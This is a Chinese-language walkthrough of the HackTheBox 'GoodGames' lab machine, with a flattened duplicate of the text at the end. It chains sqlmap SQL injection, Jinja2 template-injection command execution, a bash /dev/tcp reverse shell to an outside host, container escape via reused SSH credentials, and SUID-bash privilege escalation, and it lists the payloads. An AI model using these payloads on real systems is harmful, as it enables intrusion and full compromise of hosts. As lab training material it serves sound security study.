HackTheBox GoodGames
字数 1119 2025-08-11 08:36:07

HackTheBox GoodGames 渗透测试教学文档


1. 目标信息收集

  • IP地址: 10.10.11.130
  • 域名:
    • goodgames.htb
    • internal-administration.goodgames.htb(通过源代码发现)
  • 添加Hosts记录:
    echo "10.10.11.130 goodgames.htb internal-administration.goodgames.htb" >> /etc/hosts
    

2. 初始扫描

  1. 端口扫描 (Nmap):

    nmap -sC -sV 10.10.11.130 -o good
    
    • 发现开放HTTP服务(如80端口)。
  2. 目录扫描 (Dirsearch):

    dirsearch -u http://goodgames.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    
    • 发现敏感路径(如/signup/login)。

3. Web应用漏洞利用

  1. SQL盲注

    • 目标:登录页面(/login)。
    • 使用sqlmap自动化检测:
      sqlmap -u "http://goodgames.htb/login" --data="username=admin&password=123" --level=5 --risk=3
      
    • 发现MySQL延迟注入漏洞。
    • 提取凭据
      • 用户名: admin@goodgames.htb
      • 密码: superadministrator
  2. 子域名利用

    • 访问internal-administration.goodgames.htb,使用提取的凭据登录。

4. SSTI模板注入

  1. 漏洞验证

    • 在表单中输入{{7*7}},返回49,确认存在SSTI(Server-Side Template Injection)。
    • 执行命令
      {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
      
      • 返回结果:uid=0(root) gid=0(root),表明当前为root权限容器。
  2. 反弹Shell

    {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.16.4/1234 0>&1"').read() }}
    
    • 监听端:nc -lvnp 1234

5. 容器逃逸与提权

  1. 容器内信息收集

    • 检查特权容器:
      cat /proc/self/status | grep CapEff
      
    • 发现CAP_DAC_READ_SEARCH等能力,可能允许逃逸。
  2. 宿主机探测

    • 扫描C段(172.19.0.0/24):
      for i in {1..254}; do (ping -c 2 172.19.0.$i | grep "ttl="); done
      
    • 发现宿主机IP:172.19.0.1,开放SSH(22端口)。
  3. SSH登录宿主机

    • 使用相同凭据admin:superadministrator登录。
    • 解决伪终端问题
      script /dev/null -c bash
      
  4. 文件共享漏洞利用

    • 容器内/home/augustus与宿主机共享。
    • 在宿主机上传SUID权限的bash
      cp /bin/bash /home/augustus/
      chown root:root /home/augustus/bash
      chmod 4777 /home/augustus/bash
      
    • 容器内执行提权:
      ./bash -p
      

6. 关键总结

  • 漏洞链
    SQL注入 → 凭据泄露 → SSTI → 容器逃逸 → 宿主机提权。
  • 防御建议
    1. 输入验证(防SQLi/SSTI)。
    2. 最小化容器权限(禁用特权模式)。
    3. 隔离宿主机与容器文件系统。

7. 工具与参考

  • 工具
    • Nmap、Dirsearch、Sqlmap、CDK(容器检测工具)。
  • Payload库
    • SSTI:{{config.__class__.__init__.__globals__}}
    • 反弹Shell:bash -i >& /dev/tcp/IP/PORT 0>&1

:实际测试需遵守合法授权原则,本文仅用于教学。

HackTheBox GoodGames 渗透测试教学文档 1. 目标信息收集 IP地址 : 10.10.11.130 域名 : goodgames.htb internal-administration.goodgames.htb (通过源代码发现) 添加Hosts记录 : 2. 初始扫描 端口扫描 (Nmap): 发现开放HTTP服务(如80端口)。 目录扫描 (Dirsearch): 发现敏感路径(如 /signup 、 /login )。 3. Web应用漏洞利用 SQL盲注 目标:登录页面( /login )。 使用 sqlmap 自动化检测: 发现MySQL延迟注入漏洞。 提取凭据 : 用户名: admin@goodgames.htb 密码: superadministrator 子域名利用 访问 internal-administration.goodgames.htb ,使用提取的凭据登录。 4. SSTI模板注入 漏洞验证 : 在表单中输入 {{7*7}} ,返回 49 ,确认存在SSTI(Server-Side Template Injection)。 执行命令 : 返回结果: uid=0(root) gid=0(root) ,表明当前为root权限容器。 反弹Shell : 监听端: nc -lvnp 1234 。 5. 容器逃逸与提权 容器内信息收集 : 检查特权容器: 发现 CAP_DAC_READ_SEARCH 等能力,可能允许逃逸。 宿主机探测 : 扫描C段( 172.19.0.0/24 ): 发现宿主机IP: 172.19.0.1 ,开放SSH(22端口)。 SSH登录宿主机 : 使用相同凭据 admin:superadministrator 登录。 解决伪终端问题 : 文件共享漏洞利用 : 容器内 /home/augustus 与宿主机共享。 在宿主机上传SUID权限的 bash : 容器内执行提权: 6. 关键总结 漏洞链 : SQL注入 → 凭据泄露 → SSTI → 容器逃逸 → 宿主机提权。 防御建议 : 输入验证(防SQLi/SSTI)。 最小化容器权限(禁用特权模式)。 隔离宿主机与容器文件系统。 7. 工具与参考 工具 : Nmap、Dirsearch、Sqlmap、CDK(容器检测工具)。 Payload库 : SSTI: {{config.__class__.__init__.__globals__}} 反弹Shell: bash -i >& /dev/tcp/IP/PORT 0>&1 注 :实际测试需遵守合法授权原则,本文仅用于教学。